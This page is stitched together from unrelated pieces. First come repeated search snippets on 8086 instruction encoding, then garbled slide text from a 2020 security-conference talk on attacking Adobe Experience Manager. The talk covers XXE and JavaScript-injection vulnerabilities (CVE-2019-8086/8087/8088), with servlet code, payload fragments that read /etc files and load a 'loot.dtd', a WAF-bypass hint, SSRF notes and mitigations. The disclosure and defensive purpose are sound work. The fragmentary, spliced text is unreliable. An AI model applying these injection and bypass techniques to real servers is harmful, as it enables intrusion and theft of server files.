8086 Instruction Encoding-1 Encoding of 8086 Instructions ! 8086
8086 Instruction Encoding-12. Examples (Cont'd) ! MOV instruction has seven possible formats. We will not discuss them all. MOV reg/memreg/mem ! This
80x86 Instruction Encoding 8086 Instructions Encoding of 8086
Encoding of 8086 Instructions. • 8086 instructions are encoded as binary numbers. • Instructions vary in length from 1 to 6 bytes. Note that many RISC
Instruction Encoding
• Additional notes in : Instruction Encoding Note. SYSC3006. 1. Page 2. Instruction Encoding. On the Intel 8086 an instruction is a sequence of 1..6 bytes. • A
4- MACHINE LANGUAGE CODING 4-1THE INSTRUCTION SET
17 janv. 2018 The machine code instructions of the 8086 vary in the number of bytes used to encode them. Some instructions can be encoded with just 1 byte ...
ASM86 LANGUAGE REFERENCE MANUAL
Encoding. 9809 FO. Operation op1. Emulator. Encoding. CO 19 FO op2. Execution ... 8086/8088 flags. (see Flags). 8087 Control word 6-110. 8087 Data types
x86 Instruction Encoding
version of 8086 :-) – Page 4. 11 x86 ISA. ○ Insn set backwards-compatible to Intel 8086. • A hybrid CISC. • Little endian byte order. • Variable length ...
adaptTo() 2020
30 sept. 2020 CVE-2019-8086 / XML eXternal Entity Injection. ▫ CVE-2019-8087 / XML ... encoding="utf-8"?><!DOCTYPE afData [<!ENTITY a SYSTEM "file:///etc ...
Instructions Involve a Segment Register (SR-field) Encoding a
The first byte of the program is stored at the lowest address. Page 2. 8086/8088MP. INSTRUCTOR: ABDULMUTTALIB A. H. ALDOURI. ٥٨.
Multiple Choice Questions on 8086 Microprocessor
data encoding. ANSWER: C. 78. In 8086 Example for Non maskable interrupts are . A. TRAP. B. RST6.5. C. INTR. D. RST6.6. ANSWER: A. 79. In 8086 the overflow
x86-64 encoding / viruses
8 févr. 2021 (dedicated opcodes) pop ax … 6. Page 7. 8086 instruction encoding: two-arg. 1-byte opcode sometimes ModRM byte: 2-bit “mod” and. 3-bit register ...
8086 Instruction Encoding-1 Encoding of 8086 Instructions ! 8086
8086 Instruction Encoding-1. Encoding of 8086 Instructions ! 8086 Instructions are represented as binary numbers. Instructions require between 1 and 6 bytes.
80x86 Instruction Encoding 8086 Instructions Encoding of 8086
through x86-64 are backwardly compatible with the 8086. • We will look at 8086 encoding in detail 8086 instructions are encoded as binary numbers.
Instructions Involve a Segment Register (SR-field) Encoding a
8086/8088MP. INSTRUCTOR: ABDULMUTTALIB A. H. ALDOURI. ??. Ex: Encode the “block move” program and show how it would be stored in.
Instruction Encoding
Instruction Encoding. On the Intel 8086 an instruction is a sequence of 1..6 bytes. • A simple (and incomplete) model of an instruction is as follows.
x86-64 encoding / viruses
8 févr. 2021 8086 instruction encoding: two-arg. 1-byte opcode sometimes ModRM byte: 2-bit “mod” and. 3-bit register number (source or dest ...
4- MACHINE LANGUAGE CODING 4-1THE INSTRUCTION SET
17 janv. 2018 The machine code instructions of the 8086 vary in the number of bytes used to encode them. Some instructions can be encoded with just 1 byte ...
x86 Instruction Encoding
8086: 1978 16-bit CPU with 16-bit external data bus Insn set backwards-compatible to Intel 8086 ... Encoding escapes: different encoding syntax.
8086 Programming
23 oct. 2012 Instruction Encoding. How to encode instructions as binary values? Instructions consist of: • operation (opcode) e.g. MOV.
Instruction format
The machine code instructions of the 8086 vary in the number of bytes used to encode them. Some instructions can be encoded with just 1 byte others can be done
adaptTo() 2020
30 sept. 2020 CVE-2019-8086. 16. ? Exploitation hints. ? We can JSON-encode XXE payload to bypass a WAF*. ? In Java we can list directory content.
EUROPE'S LEADING AEM DEVELOPER CONFERENCE
28thÿ30thSEPTEMBER 2020
A Hacker's perspective on AEM applications securityMikhail Egorov, Security researcher & bug hunter
2 Intro whoami 3Security researcher & full-time bug hunter
https://bugcrowd.com/0ang3el https://hackerone.com/0ang3elConference speaker
https://www.slideshare.net/0ang3el https://speakerdeck.com/0ang3el whoami 4Toolset for AEM hacking
https://github.com/0ang3el/aem-hacker 5APSB19-48
APSB19-48
6 ence-manager/apsb19-48.htmlCVE-2019-8086 / XML eXternalEntity Injection
CVE-2019-8087 / XML eXternalEntity Injection
CVE-2019-8088 / JavaScript Code Injection
XML eXternalEntity (XXE) attacks
7Do we see the parsed XML?
General external entities
Parameter external entities
External DTD loading
XML eXternalEntity (XXE) attacks
8XML eXternalEntity (XXE) attacks
9 %xxe;XML eXternalEntity (XXE) attacks
10CVE-2019-8086
11GuideInternalSubmitServlet
@Service({Servlet.class}) @Properties({@Property( name = "sling.servlet.resourceTypes", value = {"fd/af/components/guideContainer"} ), @Property( name = "sling.servlet.methods", value = {"POST"} ), @Property( name = "sling.servlet.selectors", value = {"af.internalsubmit"} public class GuideInternalSubmitServletCVE-2019-8086
12CVE-2019-8086
13CVE-2019-8086
14XXE payload
CVE-2019-8086
15CVE-2019-8086
16Exploitation hints
We can JSON-encode XXE payload to bypass a WAF*
In Java we can list directory content
/proc/self/cwd * WAF ÿweb application firewallCVE-2019-8086
17JSON-encoding
data = ']>CVE-2019-8086
18CVE-2019-8086
19XXE payload
CVE-2019-8086
20CVE-2019-8086
21Exploitation requirements
There should be a node with
fd/af/components/guideContainerresource type onents/guideContainerAttacker should have a jcr:writeaccess
somewhereCVE-2019-8086
22Exploitation requirements
Only blind SSRF* for some versions
CVE-2019-8087
23WSDLInvokerServlet
@Service({Servlet.class}) @Properties({@Property( name = "sling.servlet.resourceTypes", value = {"fd/af/components/guideContainer"} ), @Property( name = "sling.servlet.selectors", value = {"af.wsdl"} ), @Property( name = "sling.servlet.methods", value = {"POST"} public class WSDLInvokerServletCVE-2019-8087
24CVE-2019-8087
25CVE-2019-8087
26WSDL example
CVE-2019-8087
27CVE-2019-8087
28Malicious xxe.wsdl
%dtd; %param1;CVE-2019-8087
29Malicious loot.dtd
">CVE-2019-8087
30CVE-2019-8087
31Exploitation requirements
There should be a node with
fd/af/components/guideContainerresource type onents/guideContainerAttacker should have a jcr:writeaccess
somewhereCVE-2019-8087
32Exploitation requirements
On some AEM versions WSDLInvokerServletis not
presentCVE-2019-8088
33GuideSubmitServlet
@Service({Servlet.class}) @Properties({@Property( name = "sling.servlet.resourceTypes", value = {"fd/af/components/guideContainer"} ), @Property( name = "sling.servlet.methods", value = {"POST"} ), @Property( name = "sling.servlet.selectors", value = {"af.submit", "af.agreement", "af.signSubmit"} public class GuideSubmitServlet extends SlingAllMethodsServlet {CVE-2019-8088
34CVE-2019-8088
35CVE-2019-8088
36CVE-2019-8088
37CVE-2019-8088
38CVE-2019-8088
39Sandboxed Rhino engine on some AEM versions
No RCE *
Sandbox allows network interactions
SSRF w/ ability to see the response
* RCE ÿRemote Code ExecutionCVE-2019-8088
40JS payload
rator.net');//CVE-2019-8088
41CVE-2019-8088
42CVE-2019-8088
43JS payload
CVE-2019-8088
44CVE-2019-8088
45CVE-2019-8088
46Exploitation requirements
There should be a node with
fd/af/components/guideContainerresource type onents/guideContainerAttacker should have a jcr:writeaccess
somewhereCVE-2019-8088
47Exploitation requirements
RCE or SSRF
APSB19-48
48Keep AEM up to date
nce-manager/apsb19-48.htmlBlock jcr:writeaccessfor anonymous user
Remove demo content (Geometrixx, WeRetail, )
49Thank you
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